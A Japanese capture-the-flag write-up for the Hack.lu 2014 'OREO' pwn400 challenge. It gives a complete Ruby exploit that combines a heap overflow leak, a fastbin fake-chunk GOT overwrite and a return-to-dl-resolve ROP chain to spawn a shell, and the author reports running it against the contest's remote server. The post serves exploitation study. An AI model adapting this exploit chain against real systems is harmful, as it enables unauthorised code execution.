読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

Hack.lu2014 OREO(pwn400)

本日は,何の日でしょうか? 本日は,バレンタインデーです.CTFerのみなさんはチョコをもらえたでしょうか. まだチョコをもらっていない人のためにOREOをみなさんにお届けします.

環境

本問題は以下の環境で行った.とりあえずUbuntu16.04LTSではうまく行かなかった.

uname -a

Linux vagrant-ubuntu-trusty 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/lsb-release

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04 LTS"

下調べ

file

oreo: ELF 32-bit LSB  executable
Intel 80386
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.26
BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b
stripped

checksec

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

解析

Welcome to the OREO Original Rifle Ecommerce Online System!

     ,______________________________________
    |_________________,----------._ [____]  -,__  __....-----=====
                   (_(||||||||||||)___________/                   |
                      `----------'   OREO [ ))"-,                   |
                                           ""    `,  _,--....___    |
                                                   `/           """"

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!

各種コマンドの概要

1. Add new rifle

  • malloc(56)が呼ばれる
  • nameとdescriptionの入力
  • HeapOverflowが発生

2. show added rifles

  • 追加したライフルのname, descriptionが見れる

3. Order selected rifles

  • freeを使って追加したライフルを解放

4. Leave a Message with your Order

  • メッセージの入力ができる

5. Show current stats

  • 注文の回数が見れる

以下にmallocで確保される構造体を示す.

struct Rifle {
    char desc[25];
    char name[27];
    struct Rifle* next;        
};

攻略方針

HeapOverflowを利用すると,Rifle->nextを任意の値に書き換えることで,2を利用した際にリークが発生する.このリークを使って,まずgotの情報を全部抜き取ってしまう.同様にしてstdinのアドレスもリークさせる. 次に,fastbins unlink attackを用いて,mallocの戻り値を固定することを考える.x86では80byte以下のchunkはfree時にfastbinsというサイズ毎に存在するLIFOな片方向リストにつながる.これに偽のchunkを登録して,再度mallocを呼ぶとLIFOなので偽chunkが返ってくる.これを利用して任意のアドレスの書き換えが可能になる. また,本問題はlibcが与えられていない上に,カスタムlibcと呼ばれるオフセットなどが運営側でいじられているlibcになっている.いわば簡単にオフセットが求まらないlibcである.そこでReturn to dl-resolveと呼ばれるlibc情報を一切使わない手法を用いて,動的に__libc_systemのアドレスを取得する.そのためには,既知のアドレス上に偽構造体を作る必があるので,最初の方法でHeap領域のアドレスをリークし,そこにfgetsで読み込んで作り上げていく.その際にGOT領域なども書き換えて踏み台にしていったりするので,とても長いexploitになっていく.
Return to dl-resolveの説明に関しては,ROP stager + Return-to-dl-resolveによるASLR+DEP回避にかなわない(めんどくさかった…気が向いたらそれだけの記事を書くかもしれない)ので,こちらを参考にしていただきたい.

Exploit

stkofのときもそうだったが,Exploitが難しいと説明が難しい… コードにそって詳しいコメントを書いていったので,それを追って見ていこうと思う.

# coding: ascii-8bit
require 'pwnlib'

host = "localhost"
port = 8888

if ARGV[0] == "r"
  host = "wildwildweb.fluxfingers.net"
  port = 1414
end

def recv_until_Action(t)
  t.recv_until("Action: ")
end

def add(t, name, desc)
  recv_until_Action(t)
  t.sendline("1")
  t.recv_until("Rifle name: ")
  t.sendline(name)
  t.recv_until("Rifle description: ")
  t.sendline(desc)
  $rifle_counter += 1
  puts "Rifle count = %d" % $rifle_counter
end

def show(t)
  recv_until_Action(t)
  t.sendline("2")
  t.recv_until("Action: ").scan(/Description: (.*)\n/)[1][0].unpack("L*")
end

def order(t)
  recv_until_Action(t)
  t.sendline('3')
  t.recv_until("\n")
end

def leave(t, msg)
  recv_until_Action(t)
  t.sendline('4')
  t.recv_until(": ")
  t.sendline(msg)
end

def show_current_stats(t)
  t.sendline("5")
  t.recv_until("\n")
end

def leak(t, addr, name = nil)
  name = name.to_s if name.nil?
  payload = name.ljust(27, "A")
  payload << p32(addr)
  add(t, payload, 'desc')
  tmp = show(t)
  show_current_stats(t)
  return tmp
end

PwnTube.open(host, port) do |t|

  $rifle_counter = 0

  # ordered_counter 0x804a2a0
  # rifle_counter   0x804a2a4
  # pMessage        0x804a2a8
  # Message         0x804a2c0

  puts_got     = 0x804a248
  stdin_got    = 0x0804a280
  link_map_got = 0x804a22c

  pop3ret      = 0x8048b46  
  leave_ret    = 0x804844c
  popebp_ret   = 0x8048ae3
  
  # 偽chunkに利用
  # rifle_counterはライフルを追加していって,0x40にする
  fake_chunk_prev_size = 0x804a2a0
  fake_chunk_data = fake_chunk_prev_size + 8


  link_map, dl_resolve, printf, free, fgets, stack_chk_fail, malloc, puts, gmon_start, strlen, libc_start_main, isoc99_scanf = leak(t, link_map_got)
  stdin     = leak(t, stdin_got)[0]

  buf_addr = 0
  
  rifle_addr = 0x804a288
  rifle_cnt = 58

  # 影響がないヒープ領域(真ん中ぐらい)のアドレスを計算
  heap = leak(t, rifle_addr)[0]
  buf_addr = (heap + 0x8000) & 0xfffff000
  
  # 58回mallocを繰り返す
  rifle_cnt.times do |i|
    add(t, 'name', 'desc')
  end
  
  payload = p32(buf_addr)   # ebp
  payload << p32(fgets)
  payload << p32(leave_ret)
  payload << p32(buf_addr)  # ba5eba5e
  payload << p32(1025)
  payload << p32(stdin)
  
  heap = leak(t, rifle_addr, payload)[0]
  
  # desc[25]の方が先にあるので,+25してアドレスをnameに合わせる
  stager_addr = heap + 25

  puts("[+] link_map    0x%x" % link_map)
  puts("[+] dl_resolve  0x%x" % dl_resolve)
  puts("[+] stdin       0x%x" % stdin)
  puts("[+] stager_addr 0x%x" % stager_addr)
  puts("[+] buffer_addr 0x%x" % buf_addr)

  # Rifle->nextをNULLにすることで,余分にfreeされないようにする
  payload = 'A' * 27    # name
  payload << p32(0)     # next
  add(t, payload, 'desc')

  # 偽chunkの次のchunk(0x804a2e0)に適切なサイズを配置
  # 条件:8 < x < main_arena->system_mem (32bit)
  payload = "\x00" * 32
  payload << p32(0x9)
  leave(t, payload)


  ##########################
  # fastbins unlink attack #
  ##########################


  # Rifle->nextを偽chunkにしておく
  payload = 'A' * 27
  payload << p32(fake_chunk_data)
  add(t, payload, "")

  # 1回目のfreeは最新のchunkを解放
  # 2回目は,上記で仕込んだ偽chunkを解放
  order(t)
  
  # objdump -s -j .plt oreo
  plt = 0x8048450     # push link_map; jmp popebp_ret;
  
  # ebpをずらすので,Canaryが一致せず,__stack_chk_failが呼ばれる

  payload = ""                # 書き換え前GOT
  payload << p32(stager_addr) # link_map
  payload << p32(popebp_ret)  # dl-resolve
  payload << p32(printf)      # printf
  payload << p32(plt)         # free
  payload << p32(fgets)       # fgets
  payload << p32(leave_ret)   # __stack_chk_fail
  payload << p32(malloc)      # malloc
  payload << p32(puts)        # puts
  
  # fastbins unlink attackにより,偽chunkが返される
  # この偽chunkは選択肢4で使われるアドレスを指す
  # これをlink_map_gotに書き換えることで,選択肢4での入力先を書き換え
  add(t, 'rID', p32(link_map_got))

  # 書き換えたことによりfgets(link_map_got, 0x80, stdin)が呼ばれる
  leave(t, payload)
  
  # 書き換えられたfreeが実行
  order(t)

  
  ########################
  # Return to dl-resolve #
  ########################


  binsh_str  = "/bin/sh\x00"
  system_str = "system\x00\x00"

  # fgets(buf_addr, 0x401, stdin)に入力されていくpayload
  fake_rel = buf_addr + 11 * 4 + binsh_str.length + system_str.length
  fake_dynsym = fake_rel + 8

  
  # objdump -D oreo -M intel -j .rel.plt
  relplt = 0x080483d8
  
  # objdump -s -j .dynsym oreo
  dynsym = 0x080481f8
  # dynsymを偽Elf32_Sym構造体に書き換える
  dynsym = fake_dynsym 
  
  # gdb-peda$ find 0x080481f8
  dynsym_addr = 0x804a188
  
  # objdump -s -j .dynstr oreo
  dynstr = 0x080482c8
  
  # dl_runtime_resolve関数の第2引数reloc_offset
  reloc_offset = fake_rel - relplt
  index_dynsym = (fake_dynsym - dynsym) / 0x10
  r_info = (index_dynsym << 8) | 7

  puts("[+] fake_rel     0x%x" % fake_rel)
  puts("[+] fake_dynsym  0x%x" % fake_dynsym)
  puts "[+] reloc offset 0x%x" % reloc_offset
  puts "[+] index dynsym 0x%x" % index_dynsym
  puts "[+] r_info       0x%x" % r_info
  
  if(dynsym + index_dynsym * 16 == fake_dynsym)
    puts "assert"
  end
  
  if(index_dynsym < 256)
    puts "assert2"
  end

  # fgets(buf_addr, 1025, stdin)に入るpayload
  payload =  p32(0xba5eba5e)

  # fgets(dynsym_addr, 5, stdin)
  # dynsymをfake_dynsymに書き換え
  payload << p32(fgets)
  payload << p32(pop3ret)
  payload << p32(dynsym_addr) 
  payload << p32(5) 
  payload << p32(stdin)

  # dl_resolve(link_map, reloc_offset)
  # その後,eipが__libc_systemに移る
  payload << p32(dl_resolve)
  payload << p32(link_map)
  payload << p32(reloc_offset) 
  
  binsh = buf_addr + payload.length + 8
  payload << p32(0xdeadbeef)
  payload << p32(binsh)
  payload << binsh_str
  
  system = buf_addr + payload.length
  payload << system_str

  if(fake_rel == buf_addr + payload.length)
    puts "assert3"
  end

  # ここからfake_rel
  payload << p32(puts_got)
  payload << p32(r_info)  

  if(fake_dynsym == buf_addr + payload.length)
    puts "assert4"
  end

  # ここから,fake_dynsym
  # fake_dynsym->st_name + dynstr = "system"を指したい
  payload << p32(system - dynstr) # st_name
  payload << p32(0)               # st_value
  payload << p32(0)               # st_size
  payload << [0x12].pack("C")     # st_info 
  payload << [0x00].pack("C")     # st_other
  payload << [0x00].pack("S")     # st_shndx
  
  payload << p32(0xdeadbeef)
  t.sendline(payload)
  
  # fake_dynsymの送ってdynsymを書き換え
  t.sendline(p32(dynsym))

  t.interactive

end

Hack.luのサーバはまだ動いているので,実際にリモートに向けてexploitコードを試した結果が以下である. f:id:encry1024:20170203234938p:plain また,lddでリンクされているlibcを求めて,実際に実行してみるとカスタムlibcだと言っている. f:id:encry1024:20170203235054p:plain

感想

たぶん半年ぐらい空けてようやく理解ができた.コンテスト中にここまで緻密にstagerしていくのは,まだできないので良い練習になったと思う.達成感はデカイ.@wapiflapioのwriteupを参考(丸パクリ)しながら検証していったので,とても助かった.しかしところどころ必要のないと思われる部分があり,そこは自分なりに修正したので間違っていた教えていただきたい.

参考資料